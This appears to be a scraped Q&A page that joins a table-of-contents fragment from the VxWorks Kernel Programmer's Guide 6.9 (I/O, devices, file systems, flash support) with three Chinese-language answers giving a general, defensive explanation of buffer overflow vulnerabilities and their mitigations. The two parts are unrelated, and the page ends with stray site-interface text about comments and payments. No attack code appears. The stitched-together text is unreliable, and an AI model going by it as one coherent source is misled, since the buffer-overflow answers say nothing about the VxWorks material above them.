................................................................ 286 11.7.4 About Standard Input, Standard Output, and Standard Error .................. 287 11.8 Other Formatted I/O ....................................................................................................... 287 11.8.1 Output in Serial I/O Polled Mode: kprintf( ) ................................................ 287 Writing to User-Defined Storage Media With kprintf( ) and kputs( ) ....... 288 11.8.2 Additional Formatted I/O Routines ............................................................. 289 11.8.3 Message Logging ............................................................................................... 289 11.9 Asynchronous Input/Output ......................................................................................... 289 11.9.1 The POSIX AIO Routines ................................................................................. 290 Contents xv 11.9.2 AIO Control Block ............................................................................................. 291 11.9.3 Using AIO ........................................................................................................... 292 AIO with Periodic Checks for Completion ................................................... 292 Alternatives for Testing AIO Completion ..................................................... 294 12 Devices ........................................................................................................ 297 12.1 Introduction ...................................................................................................................... 297 12.2 About Devices in VxWorks ........................................................................................... 298 12.3 Serial I/O Devices: Terminal and Pseudo-Terminal Devices .................................. 299 tty Options .......................................................................................................... 299 12.3.1 Raw Mode and Line Mode .............................................................................. 300 12.3.2 tty Special Characters ....................................................................................... 300 12.3.3 I/O Control Functions ...................................................................................... 301 12.4 Pipe Devices ..................................................................................................................... 302 12.5 Pseudo I/O Device ........................................................................................................... 302 12.5.1 I/O Control Functions ...................................................................................... 303 12.6 Null Devices .................................................................................................................... 303 12.7 Block Devices ................................................................................................................... 303 12.7.1 XBD RAM Disk .................................................................................................. 305 12.7.2 SCSI Drivers ....................................................................................................... 306 Configuring SCSI Drivers ................................................................................ 306 Structure of the SCSI Subsystem ..................................................................... 307 Booting and Initialization ................................................................................ 308 Device-Specific Configuration Options ......................................................... 308 SCSI Configuration Examples ......................................................................... 310 Troubleshooting ................................................................................................. 312 12.8 Extended Block Device Facility: XBD ......................................................................... 313 12.8.1 XBD Disk Partition Manager ........................................................................... 313 12.8.2 XBD Block Device Wrapper ............................................................................. 314 12.8.3 XBD TRFS Component ..................................................................................... 314 12.9 PCMCIA ............................................................................................................................ 315 12.10 Peripheral Component Interconnect: PCI .................................................................. 315 12.11 Network File System (NFS) Devices ........................................................................... 315 12.11.1 I/O Control Functions for NFS Clients .......................................................... 316 12.12 Non-NFS Network Devices ........................................................................................... 317 VxWorks Kernel Programmer's Guide, 6.9 xvi 12.12.1 Creating Network Devices ............................................................................... 318 12.12.2 I/O Control Functions ...................................................................................... 318 12.13 Sockets ............................................................................................................................... 318 12.14 Internal I/O System Structure ....................................................................................... 319 12.14.1 Drivers ................................................................................................................ 321 The Driver Table and Installing Drivers ........................................................ 322 Example of Installing a Driver ........................................................................ 322 12.14.2 Devices ................................................................................................................ 323 The Device List and Adding Devices ............................................................. 323 Example of Adding Devices ............................................................................ 324 Deleting Devices ................................................................................................ 324 12.14.3 File Descriptors .................................................................................................. 327 File Descriptor Table ......................................................................................... 327 Example of Opening a File ............................................................................... 327 Example of Reading Data from the File ......................................................... 330 Example of Closing a File ................................................................................. 331 Implementing select( ) ...................................................................................... 331 Cache Coherency ............................................................................................... 334 13 Local File Systems ..................................................................................... 339 13.1 Introduction ...................................................................................................................... 339 13.2 File System Monitor ...................................................................................................... 341 Device Insertion Events .................................................................................... 342 XBD Name Mapping Facility .......................................................................... 343 13.3 Virtual Root File System: VRFS ................................................................................... 343 13.4 Highly Reliable File System: HRFS ............................................................................ 345 13.4.1 Configuring VxWorks for HRFS ..................................................................... 345 13.4.2 Configuring HRFS ............................................................................................ 346 13.4.3 Creating an HRFS File System ....................................................................... 347 Overview of HRFS File System Creation ....................................................... 347 HRFS File System Creation Steps ................................................................... 347 13.4.4 HRFS, ATA, and RAM Disk Examples .......................................................... 348 13.4.5 Optimizing HRFS Performance ...................................................................... 353 13.4.6 Transactional Operations and Commit Policies ......................................... 353 Automatic Commit Policy ............................................................................... 353 High-Speed Commit Policy ............................................................................. 354 Mandatory Commits ......................................................................................... 354 Rollbacks ............................................................................................................. 354 Programmatically Initiating Commits ........................................................... 354 13.4.7 File Access Time Stamps .................................................................................. 355 Contents xvii 13.4.8 Maximum Number of Files and Directories ................................................. 355 13.4.9 Working with Directories ................................................................................. 355 Creating Subdirectories .................................................................................... 355 Removing Subdirectories ................................................................................. 356 Reading Directory Entries ................................................................................ 356 13.4.10 Working with Files ............................................................................................ 356 File I/O Routines ............................................................................................... 356 File Linking and Unlinking ............................................................................. 356 File Permissions ................................................................................................. 357 13.4.11 I/O Control Functions Supported by HRFS ................................................. 357 13.4.12 Crash Recovery and Volume Consistency ..................................................... 358 Crash Recovery .................................................................................................. 358 Consistency Checking ...................................................................................... 358 13.4.13 File Management and Full Devices ................................................................ 358 13.5 MS-DOS-Compatible File System: dosFs .................................................................. 359 13.5.1 Configuring VxWorks for dosFs ..................................................................... 360 13.5.2 Configuring dosFs ............................................................................................ 361 13.5.3 Creating a dosFs File System ........................................................................... 362 Overview of dosFs File System Creation ....................................................... 362 dosFs File System Creation Steps ................................................................... 363 13.5.4 dosFs, ATA Disk, and RAM Disk Examples ................................................. 365 13.5.5 Optimizing dosFs Performance ...................................................................... 369 13.5.6 Working with Volumes and Disks .................................................................. 370 Accessing Volume Configuration Information ............................................. 370 Synchronizing Volumes .................................................................................... 370 13.5.7 Working with Directories ................................................................................. 370 Creating Subdirectories .................................................................................... 370 Removing Subdirectories ................................................................................. 371 Reading Directory Entries ................................................................................ 371 13.5.8 Working with Files ............................................................................................ 371 File I/O Routines ............................................................................................... 371 File Attributes .................................................................................................... 371 13.5.9 Disk Space Allocation Options ........................................................................ 373 Choosing an Allocation Method ..................................................................... 374 Using Cluster Group Allocation ..................................................................... 374 Using Absolutely Contiguous Allocation ...................................................... 374 13.5.10 Crash Recovery and Volume Consistency ..................................................... 376 13.5.11 I/O Control Functions Supported by dosFsLib ............................................ 376 13.5.12 Booting from a Local dosFs File System Using SCSI ................................... 378 13.6 Transaction-Based Reliable File System Support for dosFs: TRFS ....................... 380 VxWorks Kernel Programmer's Guide, 6.9 xviii 13.6.1 Configuring VxWorks With TRFS ................................................................... 380 13.6.2 Automatic Instantiation of TRFS .................................................................... 380 13.6.3 Formatting a Device for TRFS ......................................................................... 381 13.6.4 Using TRFS in Applications ............................................................................ 382 TRFS Code Examples ....................................................................................... 382 13.7 Raw File System: rawFs ................................................................................................. 383 13.7.1 Configuring VxWorks for rawFs ..................................................................... 383 13.7.2 Creating a rawFs File System .......................................................................... 383 13.7.3 Mounting rawFs Volumes ................................................................................ 384 13.7.4 rawFs File I/O ................................................................................................... 385 13.7.5 I/O Control Functions Supported by rawFsLib ........................................... 385 13.8 CD-ROM File System: cdromFs ................................................................................... 386 13.8.1 Configuring VxWorks for cdromFs ................................................................ 387 13.8.2 Creating and Using cdromFs ........................................................................... 387 13.8.3 I/O Control Functions Supported by cdromFsLib ...................................... 389 13.8.4 Version Numbers ............................................................................................... 390 13.9 Read-Only Memory File System: ROMFS ................................................................. 390 13.9.1 Configuring VxWorks with ROMFS ............................................................... 391 13.9.2 Adding a ROMFS Directory and File Content to VxWorks ........................ 391 13.9.3 Accessing Files in ROMFS ............................................................................... 392 13.9.4 Using ROMFS to Start Applications Automatically .................................... 392 13.10 Target Server File System: TSFS ................................................................................... 392 Socket Support ................................................................................................... 393 Error Handling .................................................................................................. 394 Configuring VxWorks for TSFS Use ............................................................... 394 Security Considerations ................................................................................... 394 Using the TSFS to Boot a Target ...................................................................... 395 14 Flash File System Support: TrueFFS ........................................................ 397 14.1 Introduction ...................................................................................................................... 397 14.2 Overview of Implementation Steps ............................................................................ 398 14.3 Creating a VxWorks System with TrueFFS ................................................................ 400 14.3.1 Selecting an MTD .............................................................................................. 400 14.3.2 Identifying the Socket Driver .......................................................................... 400 14.3.3 Configuring VxWorks with TrueFFS and File System ................................. 401 Including the Core TrueFFS Component ....................................................... 401 Including the MTD Component ...................................................................... 402 Contents xix Including the Translation Layer Component ................................................ 402 Including the Socket Driver ............................................................................. 403 Including the XBD Wrapper Component ...................................................... 403 Including File System Components ............................................................... 403 Including Utility Components ........................................................................ 403 14.3.4 Building the System .......................................................................................... 404 14.3.5 Formatting the Flash ......................................................................................... 404 Formatting With sysTffsFormat( ) .................................................................. 404 Formatting With tffsDevFormat( ) .................................................................. 405 14.3.6 Reserving a Region in Flash for a Boot Image .............................................. 406 Reserving a Fallow Region .............................................................................. 407 Writing the Boot Image to Flash ...................................................................... 408 14.3.7 Mounting the Drive .......................................................................................... 409 14.3.8 Creating a File System ...................................................................................... 409 14.3.9 Testing the Drive ............................................................................................... 410 14.4 Using TrueFFS Shell Commands ................................................................................. 410 14.5 Using TrueFFS With HRFS ............................................................................................
### 回答1: 缓冲区溢出漏洞是一种计算机安全漏洞,它利用了程序中缓冲区的限制,通过向缓冲区中输入超出其容量的数据,从而覆盖了程序中的其他数据或代码,导致程序崩溃或被攻击者控制。缓冲区溢出漏洞是常见的攻击手段之一,攻击者可以利用它来执行恶意代码、窃取敏感信息或者拒绝服务等。为了防止缓冲区溢出漏洞的攻击,程序员需要在编写代码时注意缓冲区的大小和输入数据的合法性,同时使用安全的编程技术和工具来检测和修复漏洞。 ### 回答2: Buffer overflow vulnerability缓冲区溢出漏洞)是指在计算机程序中,当向一个缓存区(buffer)存储数据时,超过了缓存区的容量,造成程序崩溃或运行错误的一种现象。这种漏洞常用来攻击计算机系统,因此安全专家们常常将其列为十大常见漏洞之一。 具体来说,缓冲区溢出漏洞会给黑客留下空间,使他们能够通过输入超过预期长度的数据,从而让程序发生异常情况。攻击者可以利用此漏洞,向程序中注入恶意代码,控制程序执行流程,甚至是直接控制被攻击者的计算机系统,从而达到非法获取信息或出现不安全行为的目的。 缓冲区溢出漏洞的成因多种多样,主要包括内存分配不当、指针使用不当、库函数调用不当等。安全专家们提出了一些常见的防范措施,例如接收输入时设定有效的限制,设置缓存区大小,检查输入是否在合理范围内,以及对存储在缓存区的数据进行适当的验证等。 在当前的计算机安全环境下,缓冲区溢出漏洞风险依然极高。因此,为保障计算机系统的安全,提高软件制造商的安全意识和开发技巧,以及加强用户的安全意识,都应是我们重要的任务。 ### 回答3: Buffer overflow vulnerability,或称为缓冲区溢出漏洞,是一种计算机程序的安全漏洞,通常是由于程序的设计问题或者输入数据的不合法造成的。当程序运行时,如果给一个已经预留好的缓冲区传递了超过其大小的数据,导致缓冲区溢出,就可能会发生不可预期的行为,例如数据被覆盖、程序崩溃、执行恶意代码等等。 缓冲区溢出漏洞常见于C、C++等编程语言,这些语言使用的是手动管理内存的机制,也就是说,程序员需要自己分配和释放内存空间。当程序员预留一块内存用来存储数据时,如果没有正确计算数据的大小,或者没有正确处理指针,就可能导致缓冲区溢出漏洞。在现代操作系统中,缓冲区溢出漏洞成为了黑客攻击的主要手段之一,因为它可以让黑客远程执行恶意代码,并且可以绕过许多安全机制。 为了防止缓冲区溢出漏洞,程序员可以采用一些技术来增加程序的安全性,例如使用函数库中的安全函数、对动态分配的内存进行检查、检查用户输入的数据是否有问题等等。此外,在现代的操作系统中,也有很多机制来防止缓冲区溢出漏洞,例如栈随机化、数据执行保护等等。 总的来说,缓冲区溢出漏洞是一种常见的安全漏洞,程序员需要在设计程序的时候注意这种漏洞的存在,并采取相应的措施来避免这种漏洞的出现。同时,用户也需要注意保护自己的计算机安全,避免访问不信任的网站或程序,以及及时安装操作系统和应用程序的安全更新。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值